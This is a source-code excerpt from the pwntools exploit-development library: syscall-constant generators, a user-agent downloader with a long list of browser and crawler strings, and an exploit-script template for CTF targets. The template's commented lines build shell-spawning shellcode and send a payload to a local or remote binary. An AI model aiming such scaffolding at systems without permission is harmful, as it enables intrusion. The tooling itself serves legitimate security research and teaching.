argname_.rstrip('_') default = get_arg_default(arg) if can_be_array(arg): array_arguments.append(argname) if can_be_string(arg): string_arguments.append(argname) argtype = str(arg.type) + ('*' * arg.derefcnt) arg_docs.append( ' {argname_}({argtype}): {argname}'.format( argname_=argname_, argname=argname, argtype=argtype, )) # Mako is unable to use *vararg and *kwarg, so we just stub in # a whole bunch of additional arguments. if argname == 'vararg': for j in range(6): argname = 'vararg_%i' % j argument_names.append(argname) argument_names_.append(argname) argument_defaults.append('%s=%s' % (argname, None)) break argument_names.append(argname) argument_names_.append(argname_) argument_defaults.append('%s=%s' % (argname_, default)) arguments_default_values = ', '.join(argument_defaults) arguments_comma_separated = ', '.join(argument_names_) return_type = str(function.type) + ('*' * function.derefcnt) arg_docs = '\n'.join(arg_docs) template_variables = { 'name': name, 'arg_docs': arg_docs, 'syscalls': syscalls, 'arguments_default_values': arguments_default_values, 'arguments_comma_separated': arguments_comma_separated, 'return_type': return_type, 'string_arguments': string_arguments, 'array_arguments': array_arguments, 'argument_names': argument_names, } lines = [ HEADER, DOCSTRING.format(**template_variables), ARGUMENTS.format(**template_variables), CALL.format(**template_variables) ] if keyword.iskeyword(name): name += '_' with open(os.path.join(target, name + '.asm'), 'wt') as f: f.write('\n'.join(map(str.strip, lines)) + '\n') if __name__ == '__main__': p = argparse.ArgumentParser() p.add_argument('target_directory') args = p.parse_args() main(args.target_directory) Gallopsled-pwntools-3ad86ec/pwnlib/data/syscalls/generate_darwin.py000066400000000000000000000050451507273764500257570ustar00rootroot00000000000000# ./pwnlib/data/includes/darwin/aarch64.h # ./pwnlib/constants/darwin/aarch64.py # https://github.com/nullgemm/instant_macos_sdk (old sdk here, please use real macos device) # https://github.com/joseluisq/macosx-sdks (old sdk here, please use real macos device) # /Library/Developer/CommandLineTools/SDKs/MacOSX14.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/ from pathlib import Path import re import sys # In the future, you should change the version of `MacOSX15.sdk` sdk_path = Path('/Library/Developer/CommandLineTools/SDKs/MacOSX15.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/') if not sdk_path.exists(): print('missing MacOSX sdk') exit(1) project_path = Path(sys.argv[1]) regex = re.compile(r'^#define\s+([a-zA-Z0-9_-]+)\s+([0-9]+|0x[0-9a-fA-F]+)(?:\s|$)', re.DOTALL) out_data = {} for file in sdk_path.iterdir(): if not file.is_file(): continue print(file.name) for line in file.read_text(errors='ignore').split('\n'): matched = regex.search(line) if not matched: continue key, value = matched.groups() if value.startswith('0') and not value.startswith('0x') and len(value) > 1: value = '0o'+value print(key, value) out_data[key] = value outbuf1_aarch64 = '' outbuf1_aarch64 += "from pwnlib.constants.constant import Constant\n" outbuf1_amd64 = '' outbuf1_amd64 += "from pwnlib.constants.constant import Constant\n" outbuf2_aarch64 = '' outbuf2_amd64 = '' # https://www.idryman.org/blog/2014/12/02/writing-64-bit-assembly-on-mac-os-x/ # on amd64 syscall offsets from 0x2000000 + syscall number for key, value in out_data.items(): value_octal = value if value_octal.startswith('0o'): value_octal = value_octal.replace('0o', '0') outbuf1_aarch64 += "{} = Constant('{}',{})\n".format(key, key, value) outbuf2_aarch64 += "#define {} {}\n".format(key, value_octal) if key.startswith('SYS_'): value = f'{value} + 0x2000000' value_octal = f'{value_octal} + 0x2000000' outbuf1_amd64 += "{} = Constant('{}',{})\n".format(key, key, value) outbuf2_amd64 += "#define {} {}\n".format(key, value_octal) pp = project_path (pp / Path('./pwnlib/constants/darwin/aarch64.py')).write_bytes(outbuf1_aarch64.encode()) (pp / Path('./pwnlib/data/includes/darwin/aarch64.h')).write_bytes(outbuf2_aarch64.encode()) (pp / Path('./pwnlib/constants/darwin/amd64.py')).write_bytes(outbuf1_amd64.encode()) (pp / Path('./pwnlib/data/includes/darwin/amd64.h')).write_bytes(outbuf2_amd64.encode()) Gallopsled-pwntools-3ad86ec/pwnlib/data/templates/000077500000000000000000000000001507273764500224045ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/templates/pwnup.mako000066400000000000000000000113041507273764500244250ustar00rootroot00000000000000<%page args="binary, host=None, port=None, user=None, password=None, libc=None, remote_path=None, quiet=False"/>\ <% import os import sys from pwnlib.context import context as ctx from pwnlib.elf.elf import ELF from pwnlib.util.sh_string import sh_string from elftools.common.exceptions import ELFError argv = list(sys.argv) argv[0] = os.path.basename(argv[0]) try: if binary: ctx.binary = ELF(binary, checksec=False) except ELFError: pass if not binary: binary = './path/to/binary' exe = os.path.basename(binary) ssh = user or password if ssh and not port: port = 22 elif host and not port: port = 4141 remote_path = remote_path or exe password = password or 'secret1234' binary_repr = repr(binary) libc_repr = repr(libc) %>\ #!/usr/bin/env python3 # -*- coding: utf-8 -*- %if not quiet: # This exploit template was generated via: # $ ${' '.join(map(sh_string, argv))} %endif from pwn import * %if not quiet: # Set up pwntools for the correct architecture %endif %if ctx.binary or not host: exe = context.binary = ELF(args.EXE or ${binary_repr}) <% binary_repr = 'exe.path' %> %else: context.update(arch='i386') exe = ${binary_repr} <% binary_repr = 'exe' %> %endif %if not quiet: # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR %if host or port or user: # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable %endif %endif %if host: host = args.HOST or ${repr(host)} %endif %if port: port = int(args.PORT or ${port}) %endif %if user: user = args.USER or ${repr(user)} password = args.PASSWORD or ${repr(password)} %endif %if ssh: remote_path = ${repr(remote_path)} %endif %if ssh: # Connect to the remote SSH server shell = None if not args.LOCAL: shell = ssh(user, host, port, password) shell.set_working_directory(symlink=True) %endif %if libc: %if not quiet: # Use the specified remote libc version unless explicitly told to use the # local system version with the `LOCAL_LIBC` argument. # ./exploit.py LOCAL LOCAL_LIBC %endif if args.LOCAL_LIBC: libc = exe.libc %if host: elif args.LOCAL: %else: else: %endif library_path = libcdb.download_libraries(${libc_repr}) if library_path: exe = context.binary = ELF.patch_custom_libraries(${binary_repr}, library_path) libc = exe.libc else: libc = ELF(${libc_repr}) %if host: else: libc = ELF(${libc_repr}) %endif %endif %if host: def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([${binary_repr}] + argv, gdbscript=gdbscript, *a, **kw) else: return process([${binary_repr}] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): %if ssh: '''Execute the target binary on the remote host''' if args.GDB: return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw) else: return shell.process([remote_path] + argv, *a, **kw) %else: '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io %endif %endif %if host: def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) %else: def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([${binary_repr}] + argv, gdbscript=gdbscript, *a, **kw) else: return process([${binary_repr}] + argv, *a, **kw) %endif %if exe or remote_path: %if not quiet: # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB %endif gdbscript = ''' %if ctx.binary: %if 'main' in ctx.binary.symbols: tbreak main %elif 'DYN' != ctx.binary.elftype: tbreak *0x{exe.entry:x} %endif %endif continue '''.format(**locals()) %endif %if not quiet: #=========================================================== # EXPLOIT GOES HERE #=========================================================== %else: # -- Exploit goes here -- %endif %if ctx.binary and not quiet: # ${'%-10s%s-%s-%s' % ('Arch:', ctx.binary.arch, ctx.binary.bits, ctx.binary.endian)} %for line in ctx.binary.checksec(color=False).splitlines(): # ${line} %endfor %endif io = start() %if not quiet: # shellcode = asm(shellcraft.sh()) # payload = fit({ # 32: 0xdeadbeef, # 'iaaa': [1, 2, 'Hello', 3] # }, length=128) # io.send(payload) # flag = io.recv(...) # log.success(flag) %endif io.interactive() Gallopsled-pwntools-3ad86ec/pwnlib/data/useragents/000077500000000000000000000000001507273764500225665ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/useragents/LICENSE.txt000066400000000000000000000012031507273764500244050ustar00rootroot00000000000000This directory contains a script `download-useragents.py' which downloads a list of user agent strings from the Internet. The user agent strings are downloaded from: - http://www.user-agents.org - http://techpatterns.com/downloads/firefox/useragentswitcher.xml The latter list is part of the Firefox `User Agent Switcher' add-on and released under BSD 2 Clause. As mentioned elsewhere we are not lawyers and do not know the legal status of these lists. To the extend that we can legally do so, we redistribute everything under an MIT license, but otherwise we allow it under the licenses the lists were originally made available under. Gallopsled-pwntools-3ad86ec/pwnlib/data/useragents/download-useragents.py000077500000000000000000000031621507273764500271320ustar00rootroot00000000000000#!/usr/bin/env python3 """Script for downloading lists of user agent strings.""" from __future__ import division import os import urllib from bs4 import BeautifulSoup from pwn import * uas = set() if os.path.isfile('useragents.txt'): with open('useragents.txt') as fd: for line in fd: if line: uas.add(line.rstrip()) def getxml(url): f = urllib.urlopen(url) xml = f.read() f.close() return xml with log.waitfor('Fetching from from http://techpatterns.com') as l: xml = getxml('http://techpatterns.com/downloads/firefox/useragentswitcher.xml') soup = BeautifulSoup(xml, 'html.parser') l.success() def loop(xml): for item in xml: if item.name == 'folder': if item['description'] != 'UA List :: About': loop(item) elif item.name == 'useragent': uas.add(item['useragent'].strip()) with log.waitfor('Parsing list') as l: loop(soup.useragentswitcher) l.success() with log.waitfor('Fetching from from http://www.user-agents.org') as l: xml = getxml('http://www.user-agents.org/allagents.xml') soup = BeautifulSoup(xml, 'html.parser') l.success() with log.waitfor('Parsing list') as l: for item in getattr(soup, 'user-agents'): if item.name == 'user-agent': ua = item.select('string')[0].string.strip() try: ua = ua.decode('utf-8') except UnicodeEncodeError: continue uas.add(ua) l.success() log.info('Fetched %d user agents' % len(uas)) write('useragents.txt', ''.join(sorted(ua + '\n' for ua in uas))) Gallopsled-pwntools-3ad86ec/pwnlib/data/useragents/useragents.txt000066400000000000000000077377261507273764500255440ustar00rootroot00000000000000!Susie (http://www.sync2it.com/susie) ( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi ) (DreamPassport/3.0; isao/MyDiGiRabi) (Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)) (Privoxy/1.0) (Windows NT 6.2; WOW64) KHTML/4.11 Gecko/20130308 Firefox/23.0 (PaleMoon/20.3) (Windows NT 6.2; WOW64) KHTML/4.11 Gecko/20130308 Firefox/33.0 (PaleMoon/25.1) */Nutch-0.9-dev +SitiDi.net/SitiDiBot/1.0 (+Have Good Day) -DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de 123spider-Bot (Version: 1.02, powered by www.123spider.de 192.comAgent 1st ZipCommander (Net) - http://www.zipcommander.com/ 2Bone_LinkChecker/1.0 libwww-perl/5.64 4anything.com LinkChecker v2.0 8484 Boston Project v 1.0 :robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html ) UnChaos From Chaos To Order Hybrid Web Search Engine.(vadim_gonchar@unchaos.com) UnChaos Bot Hybrid Web Search Engine. (vadim_gonchar@unchaos.com) UnChaosBot From Chaos To Order UnChaos Hybrid Web Search Engine at www.unchaos.com (info@unchaos.com) http://www.sygol.com A-Online Search A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27 A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24 ABACHOBot ABCdatos BotLink/5.xx.xxx#BBL AESOP_com_SpiderMan AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China) ANTFresco/x.xx ASAHA Search Engine Turkey V.001 (http://www.asaha.com/) ASPSeek/1.2.5 ASPSeek/1.2.x ASPSeek/1.2.xa ASPSeek/1.2.xxpre ASPseek/1.2.9d ASPseek/1.2.xx ASSORT/0.10 AU-MIC/2.0 MMP/2.0 AUDIOVOX-SMT5600 AV Fetch 1.0 AVSearch-1.0(peter.turney@nrc.ca) AVSearch-2.0-fusionIdx-14-CompetitorWebSites AVSearch-3.0(AltaVista/AVC) AWeb AbachoBOT AbachoBOT (Mozilla compatible) Aberja Checkomat About/0.1libwww-perl/5.47 Accelatech RSSCrawler/0.4 Accoona-AI-Agent/1.1.1 (crawler at accoona dot com) Accoona-AI-Agent/1.1.2 Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com) Ace Explorer Ack (http://www.ackerm.com/) AcoiRobot Acoon Robot v1.50.001 Acoon Robot v1.52 (http://www.acoon.de) Acoon-Robot 4.0.x.[xx] (http://www.acoon.de) Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com) Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org) ActiveBookmark 1.x ActiveWorlds/3.xx (xxx) Activeworlds Ad Muncher v4.xx.x Ad Muncher v4x Build xxxxx Adaxas Spider (http://www.adaxas.net/) Adobe Application Manager 2.0 AdsBot-Google ( http://www.google.com/adsbot.html) Advanced Browser (http://www.avantbrowser.com) Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com) AgentName/0.1 libwww-perl/5.48 AideRSS/1.0 (aiderss.com) Akregator/1.2.9; librss/remnants Aladin/3.324 Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2 Aleksika Spider/1.0 (+http://www.aleksika.com/) AlertInfo 2.0 (Powered by Newsbrain) AlkalineBOT/1.3 AlkalineBOT/1.4 (1.4.0326.0 RTM) Allesklar/0.1 libwww-perl/5.46 Alligator 1.31 (www.nearsoftware.com) Allrati/1.1 (+) AltaVista Intranet V2.0 AVS EVAL search@freeit.com AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net AltaVista Intranet V2.0 evreka.com crawler@evreka.com AltaVista V2.0B crawler@evreka.com AmfibiBOT Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com) Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com) AmiTCP Miami (AmigaOS 2.04) Amiga-AWeb/3.4.167SE AmigaVoyager/2.95 (compatible; MC680x0; AmigaOS) AmigaVoyager/2.95 (compatible; MC680x0; AmigaOS; SV1) AmigaVoyager/3.2 (AmigaOS/MC680x0) AmigaVoyager/3.4.4 (MorphOS/PPC native) Amoi 8512/R21.0 NF-Browser/3.3 AndroidDownloadManager/5.1 (Linux; U; Android 5.1; Z820 Build/LMY47D) AnnoMille spider 0.1 alpha - http://www.annomille.it Anonymized by ProxyOS: http://www.megaproxy.com Anonymizer/1.1 AnswerBus (http://www.answerbus.com/) AnswerChase PROve x.0 AnswerChase x.0 AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine) Apexoo Spider 1.x Aplix HTTP/1.0.1 Aplix_SANYO_browser/1.x (Japanese) Aplix_SEGASATURN_browser/1.x (Japanese) Aport AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k) AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver) AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23) AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout) AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication) AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr) AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan) AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k) AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs) AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy) AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace) AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex) Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102 Apple-PubSub/65.1.1 AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;) ArachBot Arachnoidea (arachnoidea@euroseek.com) ArchitextSpider Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com) Arikus_Spider Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt) Asahina-Antenna/1.x Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x) AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com) AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html) Atomic_Email_Hunter/4.0 Atomz/1.0 Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com) Avant Browser (http://www.avantbrowser.com) Avant Browser/1.2.789rel1 (http://www.avantbrowser.com) AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine. Azureus 2.x.x.x B-l-i-t-z-B-O-T BDFetch BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686) BIGLOTRON (Beta 2;GNU/Linux) BMCLIENT BMLAUNCHER BPImageWalker/2.0 (www.bdbrandprotect.com) BSDSeek/1.0 BStop.BravoBrian.it Agent Detector BTWebClient/180B(9704) BTbot/0.x (+http://www.btbot.com/btbot.html) BW-C-2.0 BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si) BaboomBot/1.x.x (+http://www.baboom.us) BackStreet Browser 3.x BaiDuSpider BaiduImagespider+(+http://www.baidu.jp/search/s308.html) Baiduspider ( http://www.baidu.com/search/spider.htm) Baiduspider+(+http://help.baidu.jp/system/05.html) Baiduspider+(+http://www.baidu.com/search/spider.htm) Baiduspider+(+http://www.baidu.com/search/spider_jp.html) Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com) BanBots/1.2 (spider@banbots.com) Barca/2.0.xxxx BarcaPro/1.4.xxxx BarraHomeCrawler (albertof@barrahome.org) BeamMachine/0.5 (dead link remover of www.beammachine.net) BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html ) BeebwareDirectory/v0.01 Big Brother (http://pauillac.inria.fr/~fpottier/) Big Fish v1.0 BigBrother/1.6e BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com) Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com) Bilbo/2.3b-UNIX BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com) BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/) Bimbot/1.0 BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/) Bitacle Robot (V:1.0;) (http://www.bitacle.com) Bitacle bot/1.1 Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx) BlackBerry BlackBerry 9000: BlackBerry9000/4.6.0.65 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry 9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123 BlackBerry7100/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7100/4.0.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7100/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103 BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/111 BlackBerry7130/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/125 BlackBerry7130/4.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry7130/4.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/120 BlackBerry7130e/4.1.0 BlackBerry7130e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104 BlackBerry7250/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7250/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7250/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104 BlackBerry7250/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 BlackBerry7290/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 BlackBerry7290/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104 BlackBerry7290/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/163 BlackBerry7290/4.1.0Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0) BlackBerry7520/4.0.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7520/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry7520/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103 BlackBerry8100/2.7.0.60 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry8100/4.2.0 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/ CLDC-1.1 VendorID/100 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/-1 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/114 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/116 BlackBerry8100/4.2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/155 BlackBerry8100/4.2.1 BlackBerry8110m/4.4.0.112 Profile/MIDP-1.9 Configuration/CLDC-1.0 VendorID/203 BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0 BlackBerry8310/4.5.0.110 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/-1 BlackBerry8310/4.5.0.55 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/302 BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 BlackBerry8320/4.5.0.188 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 BlackBerry8320/4.5.0.52 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179 BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 BlackBerry8330/4.5.0.186 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104 BlackBerry8520/4.6.1.272 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/132 BlackBerry8520/4.6.1.314 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry8520/4.6.1.314 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/611 BlackBerry8520/5.0.0.681 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/217 BlackBerry8520/5.0.0.822 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/298 BlackBerry8520/5.0.0.886 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/613 BlackBerry8530/5.0.0.654 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/104 BlackBerry8700/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179 BlackBerry8900/5.0.0.1022 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100 BlackBerry8900/5.0.0.411 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/132 BlackBerry8900/5.0.0.681 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/179 BlackBerry8900/5.0.0.681 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/302 BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 BlackBerry9000/4.6.0.303 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/302 BlackBerry9105/5.0.0.783 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1 BlackBerry9300/5.0.0.888 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/331 BlackBerry9300/5.0.0.912 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/378 BlackBerry9300/5.0.0.955 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102 BlackBerry9300/5.0.0.977 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/167 BlackBerry9330/5.0.0.857 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105 BlackBerry9330/5.0.0.913 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/104 BlackBerry9520/5.0.0.306 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/120 BlackBerry9520/5.0.0.713 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1 BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0 BlackBerry9550/5.0.0.334 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/-1 BlackBerry9550/5.0.0.607 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/-1 BlackBerry9630/5.0.0.624 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/104 BlackBerry9630/5.0.0.975 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105 BlackBerry9650/5.0.0.1006 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105 BlackBerry9650/5.0.0.975 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105 BlackBerry9700/5.0.0.344 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/129 BlackBerry9700/5.0.0.344 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/229 BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123 BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/131 BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/603 BlackBerry9700/5.0.0.400 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/609 BlackBerry9700/5.0.0.423 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/10 BlackBerry9700/5.0.0.442 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/603 BlackBerry9700/5.0.0.586 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/120 BlackBerry9700/5.0.0.593 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1 BlackBerry9700/5.0.0.593 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/603 BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100 BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/107 BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/606 BlackBerry9700/5.0.0.770 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100 BlackBerry9700/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/120 BlackBerry9700/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/167 BlackBerry9700/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/331 BlackBerry9700/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/331 UNTRUSTED/1.0 3gpp-gba BlackBerry9800/5.0.0.862 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/331 UNTRUSTED/1.0 3gpp-gba BlackWidow Blaiz-Bee/1.0 (+http://www.blaiz.net) Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com) Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net) BlitzBOT BlitzBOT@tricus.com (Mozilla compatible) BlitzBOT@tricus.net BlitzBOT@tricus.net (Mozilla compatible) BlockNote.Net BlogBot/1.x BlogBridge 2.13 (http://www.blogbridge.com/) BlogMap (http://www.feedmap.net) BlogPulseLive (support@blogpulse.com) BlogSearch/1.x +http://www.icerocket.com/ BlogVibeBot-v1.1 (spider@blogvibe.nl) Bloglines Title Fetch/1.0 (http://www.bloglines.com) Bloglines-Images/0.1 (http://www.bloglines.com) Bloglines/3.0-rho (http://www.bloglines.com; 3 subscribers) Bloglines/3.1 (http://www.bloglines.com) Blogpulse (info@blogpulse.com) BlogsNowBot, V 2.01 (+http://www.blogsnow.com/) BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com) BlogzIce/1.0 +http://www.icerocket.com/ BloobyBot Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com) Bobby/4.0.x 